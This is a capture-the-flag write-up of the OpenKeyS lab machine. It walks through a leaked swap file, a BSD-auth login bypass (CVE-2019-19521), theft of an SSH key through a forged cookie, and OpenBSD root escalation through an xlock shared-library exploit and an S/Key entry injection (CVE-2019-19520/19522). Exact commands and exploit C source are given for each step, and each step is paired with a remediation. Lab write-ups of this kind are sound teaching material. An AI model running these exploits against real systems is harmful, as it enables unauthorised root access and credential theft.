OpenKeyS
Summary
Target openkeys.htb ($TARGET) was fully compromised through a three-stage chain. A web application running on OpenBSD httpd had directory auto-indexing enabled on its /includes/ folder, exposing a leftover Vim swap file that leaked PHP source code, the valid username jennifer, and the application's BSD-auth login logic. Armed with that knowledge, I exploited CVE-2019-19521 — an OpenBSD BSD-auth option-injection flaw — to bypass the login form's password check entirely by submitting a crafted username flag value.
That authenticated session was then paired with a forged username cookie to pull jennifer's private SSH key from the application's sshkey.php endpoint, granting a direct SSH shell and the user flag. The host was running unpatched OpenBSD 6.6 (October 2019 build), leaving it vulnerable to the Qualys December-2019 dynamic-authentication advisory: CVE-2019-19520 abused the setgid-auth xlock binary to load I-compiled shared library and execute code as the auth group, and CVE-2019-19522 allowed any auth-group member to inject a forged S/Key one-time-password entry for root and authenticate as root via su — yielding full system compromise and the root flag.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -Pn -sV -p 22,80 --script http-title,http-headers $TARGETecho "$TARGET openkeys.htb" | sudo tee -a /etc/hostsffuf -u http://openkeys.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt -e .php,.swp,.bak -mc 200,301,302,403Exact commands 3
curl -s http://openkeys.htb/includes/curl -o /tmp/auth.php.swp http://openkeys.htb/includes/auth.php.swpstrings -a /tmp/auth.php.swpFixDisable directory auto-indexing and audit the web root for backup and editor filesHigh
Exact commands 1
curl -v -c /tmp/openkeys_cookies.txt -b /tmp/openkeys_cookies.txt -A 'Mozilla/5.0' -X POST http://openkeys.htb/index.php --data-urlencode 'username=-schallenge' --data-urlencode 'password=x'FixPatch CVE-2019-19521 — reject usernames beginning with a hyphen before passing them to BSD-authCritical
Exact commands 2
curl -s -c /tmp/openkeys_cookies.txt -b 'username=jennifer' -A 'Mozilla/5.0' -X POST http://openkeys.htb/index.php --data-urlencode 'username=-schallenge' --data-urlencode 'password=x' && curl -s -b /tmp/openkeys_cookies.txt http://openkeys.htb/sshkey.php > /tmp/openkeys_sshkey_response.txtsed -n '/BEGIN OPENSSH/,/END OPENSSH/p' /tmp/openkeys_sshkey_response.txt > /tmp/jennifer_id_rsa && chmod 600 /tmp/jennifer_id_rsaFixRemove the SSH private-key delivery endpoint and fix the broken session-identity checkCritical
Exact commands 3
ssh -i /tmp/jennifer_id_rsa -o StrictHostKeyChecking=no jennifer@$TARGETid && uname -a && cat ~/user.txtls -la /usr/X11R6/bin/xlock /usr/bin/chpassExact commands 4
mkdir -p /tmp/expl && cat > /tmp/expl/swrast.c << 'EOF'
#include <paths.h>
#include <sys/types.h>
#include <unistd.h>
static void init() __attribute__((constructor));
static void init() {
if (geteuid() == getuid()) return;
char *argv[] = {"sh", "-c",
"cp /bin/sh /tmp/sh2 && chgrp auth /tmp/sh2 && chmod g+s /tmp/sh2",
NULL};
execve(_PATH_BSHELL, argv, NULL);
}
EOFgcc -fpic -shared -nostdlib /tmp/expl/swrast.c -o /tmp/expl/swrast_dri.soenv -i LIBGL_DRIVERS_PATH=/tmp/expl /usr/X11R6/bin/xlock/tmp/sh2 -p && idFixApply OpenBSD patches for CVE-2019-19520 and CVE-2019-19522 and harden setgid binariesCritical
Exact commands 4
ls -la /etc/skey/printf "otp-md5 99 openkeys\n$PASSWORD\n" > /etc/skey/rootecho '$PASSWORD2' | su -l rootid && cat /root/root.txtAttack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.1 (protocol 2.0) |
| 80/tcp | http OpenBSD httpd |